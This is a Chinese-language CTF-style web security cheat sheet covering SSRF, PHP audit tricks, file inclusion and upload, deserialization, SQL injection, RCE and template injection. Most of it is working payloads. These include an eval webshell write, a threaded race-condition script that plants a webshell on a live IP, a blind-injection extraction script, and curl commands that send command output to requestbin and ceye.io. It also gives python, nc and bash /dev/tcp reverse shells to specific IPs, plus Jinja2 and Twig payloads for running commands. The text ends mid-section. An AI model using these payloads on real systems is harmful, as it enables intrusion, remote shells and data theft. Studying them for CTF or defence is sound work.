WEB安全综合笔记

SSRF

漏洞代码

PHP

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

伪协议

file://

读取文件用,格式为:file://[文件路径]

1
2
3
4
file:///etc/passwd   读取文件passwd
file:///var/www/html/flag.php 读web目录下的flag.php
file:///proc/net/arp 寻找内网其他主机
file:///proc/net/fib_trie 显示当前网段路由信息

dict://

可以拿来扫描端口,以下是利用dict伪协议来扫描127.0.0.1各个端口的例子:

1
dict://127.0.0.1:8000

配合上burpsuite的intruder模块,在8000前后加上标记符号,再选择爆破范围,即可开始扫描。

gopher://

可以发送GET和POST请求,格式为:gopher://:/_TCP数据流

发送POST请求:

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 内容的长度

<内容>

url编码两次,再加上gopher伪协议的形式:

1
?url=gopher:127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:%2520application/x-www-form-urlencoded%250d%250aContent-Length:%252036%250d%250a%250d%250akey=c6e691f84d88409f2497fff9de3671ab%250d%250a

一些绕过方法

当127.0.0.1或者localhost被ban掉的时候,可以使用进制转换的方法进行绕过。

进制转换工具:https://tool.520101.com/wangluo/jinzhizhuanhuan/

例如:

1
url=http://2130706433/flag.php
1
2
url=http://127。0.0.1
url=http://127.1

长度限制时:

1
url=http://0/flag.php

0在Linux中会被自动解析成127.0.0.1

@符号

1
http://wawd1l2n13vz(乱写)@www.baidu.com

仍然访问的是www.baidu.com

攻击Mysql

用gopherus生成payload:

1
2
username设置为root
写马:select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/a.php"

记住生成的payload中_后面的内容需要二次url编码

PHP代码审计

函数

create_function

根据传递的参数创建匿名函数,并为其返回唯一名称

格式:create_function(string $args,string $code)

特性:string $code部分使用了eval()函数,会造成任意代码执行。

有关create_function函数的代码注入漏洞

1
create_function('$fname','echo $fname."Zhang"')

类似于:

1
2
3
function fT($fname) {
echo $fname."Zhang";
}

遇到形如create_function('',$a)的情况,可以构造$a=}system('cat /flag');/*

即:先用}将等价的function闭合,然后加入自己的代码,最后使用多行注释/*毙掉后面的代码。

intval

用于将指定的变量转换为整数类型。

格式:intval($var, $base)

$var放入需要转换的内容,$base放入转换的进制基数。

实例:

1
2
3
4
5
6
7
8
9
10
11
$num1 = 123.45; // 浮点数
$num2 = "456"; // 字符串类型的数字
$num3 = "0xFF"; // 十六进制表示的数字

$integer1 = intval($num1); // 将浮点数转换为整数
$integer2 = intval($num2); // 将字符串类型的数字转换为整数
$integer3 = intval($num3, 16); // 将十六进制表示的数字转换为整数

echo $integer1; // 输出:123
echo $integer2; // 输出:456
echo $integer3; // 输出:255

特殊地,当$base为0时,会根据$var的类型自动选择进制,例如:

$var为0x开头,则表示其为一个十六进制数,使用十六进制进行转换。

为0开头,则表示为一个八进制数。

strpos

用于在字符串中查找某个子字符串的第一次出现位置。

  • 如果找到子字符串,则返回第一次出现的位置(索引),索引从 0 开始。
  • 如果没有找到子字符串,则返回 false

示例:

1
2
3
4
5
<?php
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$char = "a";
$pos = strpos($charset, $char);
echo $pos; //输出10

parse_url

用于解析URL字符串并返回一个关联数组,将一个完整的URL字符串解析成协议、主机、路径等独立字段。

  • PHP_URL_SCHEME:协议部分(例如:httphttps)。
  • PHP_URL_HOST:主机部分 (例如:www.example.com)。
  • PHP_URL_PORT:端口部分(例如:80443)。
  • PHP_URL_USER:用户名部分。
  • PHP_URL_PASS:密码部分。
  • PHP_URL_PATH:路径部分。
  • PHP_URL_QUERY:查询参数部分。
  • PHP_URL_FRAGMENT:片段部分。
  • PHP_URL_ALL:返回包含所有 URL 部分的关联数组。

eval

其为一个语言构造器而非一个函数,无法被动态调用

例如:

1
2
3
4
5
6
7
8
<?php
$a='assert';
$b='eval';
$c='phpinfo();';
echo $a($c);
echo "<br>-----------分隔线---------<br>";
echo $b($c);
?>

执行后会发现echo $a($c); 可用但是echo $b($c);不可用

is_numeric

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}

传参:c[]=2025或者c=2025abc即可绕过。

get_defined_vars

爆出所有的变量及其对应值。

extract

将数组中的键值变成具体的变量名和值。

特性

intval

1.intval函数当传入的变量也是数组的时候,会返回1

2.根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值

举例:

1
2
3
4
5
6
<?php
$a = '2e4';
echo intval($a) ; ----------2
$b=$a+1;
echo intval($b) ; ----------20001
?>

preg_match

preg_match函数当传入的变量为数组的时候,会返回0


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

正则表达式中/m代表多行匹配,所以可以传入?cmd=%0aphp进行绕过,%0a是url编码下的换行符,这使得第一个if条件成立,第二个绕过。

is_file

在使用php伪协议的时候会返回false,除了使用file://协议。

也可以使用目录溢出的payload使其返回false:

1
2
3
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

escapeshellarg与escapeshellcmd

两个函数顺序排序,会造成命令执行的漏洞。

假定输入的是' whoami ',经过arg函数加工时,首先会在一整串字符串两边加上单引号:'' whoami '',接着对原本存在的单引号用\号进行转义,变成:'\' whoami '\',接着用两个单引号扣住刚才转义的\'部分,变成:''\'' whoami '\'''

经过cmd函数加工时,它会把不配对的引号和\用\转义掉,但是两个\合在一起便使\号的转义功能被抹去,根据上述原理,最终变成:''\\'' whoami '\\'''

现在单引号两两闭合,使中间的命令不会被包围,被放了出来。

$_GET键值特性

GET数组获取urlquery的参数,但是当其键值为一些特殊字符时,php会将其替换为_

会被转换成_的有:.空格+[

basename

在遇到%ff等不可显字符时会把它自动删去:

1
2
3
4
$var1="/config.php/test"
basename($var1) => test
$var2="/config.php/%ff"
basename($var2) => config.php

date

经过date函数转换过后的字符串会变得奇形怪状,但是可以通过在各个字符前面加上反斜杠\使其失效:

1
2
3
4
5
6
7
<?php

$a = "/xiaofuc";
$b = "/x\i\a\o\\f\u\c";

echo (date($a))."\n";
echo (date($b))."\n";

输出:

1
2
/x41am2024f0000002024-05-13T09:41:45+00:00
/xiaofuc

注意如果遇到字符f要多加一个\

$_SERVER[‘QUERY_STRING’]

$_SERVER[‘QUERY_STRING’]存储着url中?后面的信息。

例如url为:http://localhost/aaa/index.php?p=222&q=333

$_SERVER[‘QUERY_STRING’]则为:p=222&q=333

其在读取url时并不会对url进行解码,而$_GET数组会进行解码,所以可以实现一些绕过操作,例如:

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

此时把传参的内容用url编码一下就可以实现绕过。

$_REQUEST的优先级

在$_REQUEST数组中,POST方式比GET优先级高。

例如:

1
2
3
4
5
6
7
<?php
$a = $_GET['a'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
echo $value.'--';
}
}

image-20240829134939879

image-20240829134955521

file_get_contents的返回值

当成功读取文件时返回1,若要控制其返回值为一个具体内容,可以搭配上data伪协议:

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

只需让$file为:data://text/plain,debu_debu_aqua

其他

define

用于定义一个常量

格式:define(string name,value) name部分放常量的名称,value部分放常量对应的值,可以是任意的合法数据类型。

举例:

1
2
define("CNM",phpinfo());
echo CNM; //输出了phpinfo()函数的内容

PHP反射

反射可以获取一个类的信息

利用反射创建实例并执行方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class Test{
private $a;
public $b;
public function hello(){
echo "hello";
}
}

$class = new ReflectionClass('Test');
$test = $class->newInstance();
$test->hello(); //hello

利用反射获取类中的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class FlagSDK {
private $hash='xxxx';
public function verify($key)
{

if (sha1($key) === $this->getHash()) {

return "too{young-too-simple}";
}
return false;
}

private function getHash()
{

return 'xxxxx';
}

}
$hash=new FlagSDK();
$objReflectClass = new ReflectionClass('FlagSDK');
$method = $objReflectClass->getMethods();

反射读取私有成员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?php
class FlagSDK {
private $hash='xxxx';
}
$sdk = new FlagSDK();
$reflect = new ReflectionClass($sdk);
$props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PRIVATE | ReflectionProperty::IS_PROTECTED);
//ReflectionProperty::IS_PUBLIC、ReflectionProperty::IS_PRIVATE 和 ReflectionProperty::IS_PROTECTED,表示获取所有类型的属性
foreach ($props as $prop) { //foreach遍历$props(即FlagSDK类中的所有变量)
$prop->setAccessible(true); //setAccessible设置变量可读
print $prop->getName()."\n";
print $prop->getValue($sdk);
} //hash
//xxxx

反射执行私有方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
```







## 文件包含

### 绕过require_once函数

遇到形如以下的代码:

```php
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

绕过payload:

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

利用session.upload_progress进行文件包含

原理

PHP在开启session.upload_progress.enable选项后,会把用户上传的文件信息保存在Session中,从而在/tmp目录中留下Session文件:sess_xxx。这里xxx指的是PHPSESSID

利用时要满足以下三个条件:

  • 目标环境开启了session.upload_progress.enable选项
  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
  • 请求的Cookie中包含Session ID

tips:

需要创建session时,一般要在php代码中写入session_start(),当这个语句没有出现,并不代表不可以创建session。例如:在php.ini中设置session.auto_start=On时,也可以创建。

phpinfo文件中可以看到一些关于session的关键配置信息:

1
2
3
4
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on //这个选项为on时,会导致上传的session文件一进去就被清空,遇到这种情况需要启动条件竞争
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import io

import requests
import threading # 多线程

from cffi.backend_ctypes import xrange

sessid = '0'
target = 'http://1.14.71.254:28592/'
file = 'xiaofuc.txt' # 上传文件名
f = io.BytesIO(b'a' * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长


def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})


def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
# print(resp.text)


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好
threading.Thread(target=write, args=(session,)).start()
# target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

利用pear.cmd进行文件包含

payload:

1
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

能将内容写入hello.php,搭配上文件包含漏洞进行包含即可。

包含日志文件写马

nginx 中默认的日志路径是/var/log/nginx/access.log而php的文件包含有一个特点 就是被包含的文件都会被当做php代码来执行,日志里面一般记录访问者的ip 访问地址和UA 前两个想要达到目的相对较难,所以可以在UA下手,只要我们在ua的参数内写入一句话木马。

PHP7 临时文件包含

1
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell,这个崩溃原因是存在一处空指针引用。

文件上传

绕过exif_imagetype函数的检测:

直接在图片开头加上GIF89a即可。

后缀名绕过:

1
2
phtml
pht

短标签绕过:

1
2
<?=`nl /f*`;   读flag
<?=`nl /*`; 列目录

.htaccess解析php

当无法正常上传php文件进入网站后台时,可以试着传入.htaccess文件,内容为:

1
2
3
<FilesMatch "111">
SetHandler application/x-httpd-php
</FilesMatch>

然后传入一个111.txt,内容为php的一句话木马,虽然后缀是txt,但是.htaccess文件会将其重新当做php代码解析。

反序列化

PHP魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__construct()            //类的构造函数,实例化对象时触发

__destruct() //类的析构函数,对象被销毁时触发(new unserialize)

__sleep() //执行serialize()时,先会调用这个方法

__wakeup() //执行unserialize()时,先会调用这个方法

__toString() //echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发toString()

__invoke() //把对象当作函数调用时触发

__call() //调用的不存在或受保护的方法的名称和参数

__callStatic() //静态调用或调用成员常量时使用的方法不存在

__get() //调用的成员属性不存在

__set() //在给不可访问属性赋值时触发

__isset() //当对不可访问属性调用 isset() 或 empty() 时触发

__unset() //在不可访问或**不存在**的属性上使用unset()时触发

__clone() //当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法

原生类反序列化

利用SplFileObject类进行文件读取

遇到形如:

1
echo new $_POST['X']($_POST['Y']);

可以输入:

1
X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=flag.php

即搭配上伪协议进行读取文件。

利用GlobIterator类遍历文件目录

遇到形如:

1
2
$a = new $this->coos($this->file);
echo $a;

例如:需要找到一个txt文件时。

赋值:coos = 'GlobIterator'&file = '*txt'

又或是遇到如下结构:

1
2
3
4
5
6
7
<?php
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}

想要列出目录,可以传参:

1
?K=GlobIterator&W=/*

假设想知道目录下secret文件夹中有什么,即可传参:

1
?K=GlobIterator&W=/secret/*

利用DirectoryIterator类遍历文件目录

1
2
3
4
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}

用法与GlobIterator类相似。

Phar反序列化

漏洞原理

Phar文件中manifest部分以序列化存储着压缩文件的属性等信息,当用phar伪协议对其进行读取的时候,会自动将文件内manifest部分进行反序列化,配合一些魔术方法则可以触发漏洞。

触发函数

fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() filesize() is_dir() scandir() rmdir() highlight_file()

搭配上phar://伪协议进行触发

生成phar文件的关键代码

1
2
3
4
5
6
7
8
$o = new xxx;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,可以改成其他的字段如GIF89a,绕过文件头检验,但必须以 __HALT_COMPILER(); 结尾
$phar->setMetadata($o); //将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
#php.ini中phar.readonly改成Off

绕过__wakeup

修改属性个数

如下序列化代码:

1
O:7:"ctfshow":0:{}

把0修改成更大的数即可。

把开头的O改成C

1
C:7:"ctfshow":0:{}

绕过O/a开头

遇到如下正则时:

1
2
3
if(!preg_match("/^[Oa]:[\d]+/i",  $data)) {
unserialize($data);
}

SQL注入

重要的SQL函数

if(xxx,1,0)

如果xxx条件成立,返回1,否则返回0

mid(str,5,10)

从str字符串中第五个字符开始提取后面10个字符

reverse(abc)

把abc倒过来,若注入的回显内容有长度限制导致flag无法完整输出,可以使用该函数获取flag的最后几位,再倒回来,进行拼接得到完整的flag。

1
2
3
4
5
6
7
version()                 # 查看数据库版本
database() # 查看当前数据库名
user() # 查看当前数据库用户
system_user() # 查看系统用户名
group_concat() # 把数据库中的某列数据或某几列数据合并为一个字符串
@@datadir # 查看数据库路径
@@version_compile_os # 查看操作系统

联合注入

查表:

1
union select database()

查库:

1
union select group_concat(table_name) from information_schema.tables where table_schema = database()

查表:

1
union select group_concat(column_name) from information_schema.columns where table_name = '库名'

SQL盲注

if语句用法:if(条件,1,0) ,如果条件判断成立返回1,不成立返回0

堆叠注入

常用payload:

1
2
3
show databases;   获取数据库名
show tables; 获取表名
show columns from `table_name`; 获取列名

当select等被禁用时,可以使用HANDLER方法,具体payload如下:

1
1';handler 表名 open;handler 表名 read first;handler 表名 close;#

报错注入

payload:

1
' or extractvalue(0,concat(0x7e,database()))%23

当or被过滤时,可以使用||来代替。

特性:

当database被ban而无法得知数据库名字时,可以构造如下payload:

1
' or extractvalue(0,concat(0x7e,(select * from aa)))%23

因为aa表不存在,所以它会报错,但是这个报错会把数据库一起带进来:

sqlsql.aa

无列名注入

基于union:

假设表:

id username password question token
1 1a 1b 1c 1d
2 2a 2b 2c 2d
3 3a 3b 3c 3d

当题目中用limit 0,1这样的语句限制了只能查询第一行时,可以采取无列名注入方法:

1
select group_concat(`2`) from (select 1,2,3,4,5 union select * from table)a;

即:返回第二行的内容

当反引号被过滤的时候,可以采用如下的payload:

1
select c from (select 1,2 as b,3,4 as c,5 as d union select * from table)a;

基于join:

原理:

join是把两张表的列名相加,就导致有可能会产生相同的表名,但是join不允许合并的两个表中有相同的列名,因此通过报错得到列名

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select * from tp_one;
+----------+----------+
| username | password |
+----------+----------+
| Tom | 123 |
+----------+----------+

mysql> select * from tp_one union select * from (select * from tp_one as a join tp_one as b) as c;
ERROR 1060 (42S21): Duplicate column name 'username'


mysql> select * from tp_one union select * from (select * from tp_one as a join tp_one as b using(username)) as c; //获取第二个列名
ERROR 1060 (42S21): Duplicate column name 'password'

ascii逐字比较:

先判断有多少列,举例:

1
1&&((1,1)>(select * from f1ag_1s_h3r3_hhhhh))

回显的是正确的布尔页面,就可以断定有两列。

核心payload:

1
0^((select 1,"f")>(select * from f1ag_1s_h3r3_hhhhh))

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = 'http://c29a7f4c-f938-496a-bd68-c4f8d0f00daf.node5.buuoj.cn:81/index.php'
payload = '0^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag = ''

for j in range(200):
for i in range(32,128):
hexchar = flag + chr(i)
py = payload.format(hexchar)
datas = {"id":py}
res = requests.post(url=url,data=datas)
if 'Nu1L' in res.text:
flag += chr(i-1)
print(flag)
break

在python的自动化脚本中,这个”f”在循环中被替换成各种各样的可显字符进行比较。

又因为循环从最小的ascii开始,所以走到大于的时候,直接把上一位的字符型式写进flag里面,它即是字段内容完全一致的字符。

Quine注入

一种特殊的SQL注入方法,使得输入的SQL语句能与输出的SQL语句一致。

payload:

1
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

读取文件

load_file(‘/xxx’)

绕过information_schema

1
sys.x$schema_table_statistics_with_buffer

RCE

好用的linux命令

GET

GET /可以遍历根目录文件

读取文件:

1
2
3
4
rev /etc/passwd
paste /etc/passwd
dd if=/etc/passwd
nl /etc/passwd

列目录:

1
2
3
diff --recursive / /home
ls /
nl /*

MySQL

用root用户,连接密码为root,并执行XXXSQL指令。

1
mysql -u root -p'root' -e 'use PHP_CMS;show tables;'

通配符

[]

1
[a-z]

匹配a-z中的字符

1
[^a-z]

匹配除了a-z之外的字符

字符串拼接

例如:

1
a=fl;b=ag;cat /$a$b

好用的PHP函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
getallheaders() 用于获取当前请求中所有的 HTTP 请求头信息,并将其作为一个关联数组返回。每个数组项的键是 HTTP 请求头的名称,而对应的值是该请求头的内容。
highlight_file() 读文件

glob()

可以拿来列目录,需要注意的点在于它返回的是一个数组,所以查看需要用到print_r()

1
glob('/*');

无回显RCE

curl

1
curl http://requestbin.cn/1exb1tl1/`whoami`
1
curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'|base64`

重定向到文件

1
{cmd} > 1.txt

将命令执行的结果写入到网页的1.txt中。

嵌套函数RCE

直接用php函数进行目录下的文件浏览与文件读取。

current(localeconv());组合可以创造一个’.’

结合scandir函数可以进行目录浏览:

1
var_dump(scandir(current(localeconv())));

chr函数用于将ascii值转换成对应的字符,所以可以构造payload:

1
var_dump(scandir(chr(47)));

用于浏览根目录下的所有文件

eval绕过长度限制的构造思路

1
2
3
4
5
6
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}
?>

构造:

1
param=`$_GET[1]`;&1=bash

或是:

1
param=exec($_GET[1]);

php的短标签

PHP的短标签:<? ?>

条件:开启php.ini中的short_open_tag

此时:

<?=xxx?>等价于:<?php echo('xxx'); ?>

payload利用:

1
<?=`ls`?>

八进制绕过

经过测试,php中的print等输出函数在套上反引号`时,里面的八进制内容会被自动转回。八进制需要把前面的0给去掉,并加上/

payload:

1
print(`\154\163\40\57`);   //'ls /'

十六进制绕过

情景:

1
2
<?php
@eval($_GET[a]);

传入:

1
a=eval(hex2bin('6563686f2060646972603b'));

可以执行windows的命令:dir

若引号被ban掉,可以采用:

1
a=eval(hex2bin(substr(_6563686f2060646972603b,1)));

substr(xxx,1)是从xxx的第二个字符开始,这里不知道为什么加上了个_就不需要引号了。

过滤空格

1
2
$IFS
$IFS$9

Linux特性构造数字

$(())代表做一次运算,因为里面为空,可以表示值为0

$((~$(()))) 对0作取反运算,值为-1

以此类推,可以通过取反构造其他数字。

payload构造:

1
2
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

反弹Shell

python反弹shell

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

由于-c后面跟着只能是单行的paython代码,所以使用;号来进行隔离。

PHP反弹shell

netcat反弹

1
nc 47.113.219.244 2333 -e sh
1
bash -c 'bash -i >& /dev/tcp/47.113.219.244/2333 <&1'

Tips

有时候根目录和当前目录都没有flag,可以通过system函数执行指令:

1
find / -name flag*

它可以搜索各目录下的flag

linux系统有env命令,可以把文件内容反着读出来。

Python执行命令

遇到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, request, send_file
app = Flask(__name__)
@app.route('/')
def index():
if not request.args.get("cmd"):
return send_file("app.py")
else:
cmd=request.args.get("cmd")
res=eval(cmd)
return res
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0",port=5000)

使用__import__("os"),动态调用

1
2
3
4
5
6
7
8
9
10
11
?cmd=__import__("os").popen("ls%20/").read()

?cmd=__import__("subprocess").run("tac%20/flag", shell=True,
capture_output=True, encoding='utf-8').stdout

?cmd=__import__("subprocess").check_output("cat /flag",
shell=True).decode("utf-8")

?cmd=__import__("subprocess").getoutput("cat /flag")

?cmd=send_file("/flag")

CSRF

SSTI

Smarty

利用{if}标签执行php函数。

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等

1
{if phpinfo()}{/if}

Twig

常用payload:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

Jinja2

含有eval函数的可用类:

1
2
3
4
5
6
7
8
9
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
site._Printer

以上类的基本payload:

1
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

利用url_for

1
{{url_for.__init__['__global'+'s__'].os.popen("whoami").read()}}

利用config

1
{{config.__init__['__global'+'s__'].os.popen("whoami").read()}}

含有os模块的类:

1
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}

利用subprocess.Popen类:

1
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

读取app.py源码:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

搭配上for循环找根目录文件:(省去找可用类的步骤)

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

读取文件:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

绕过中括号过滤

原payload:

1
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

使用__getitem__()函数进行绕过:

1
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(166).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}

利用request对象绕过引号

原payload:

1
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

绕过:

1
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /

利用|attr()语句绕过点号

原payload:

1
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

绕过过滤.

1
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

利用字符串拼接绕过关键字匹配

原payload:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}

拼接后:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

注意!

只有语句中被引号包围的字段才可以使用这个方法绕过。

特殊地

当global被过滤时,假设原payload:

1
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}}

这个可以等价成: (注意init后面的.没了)

1
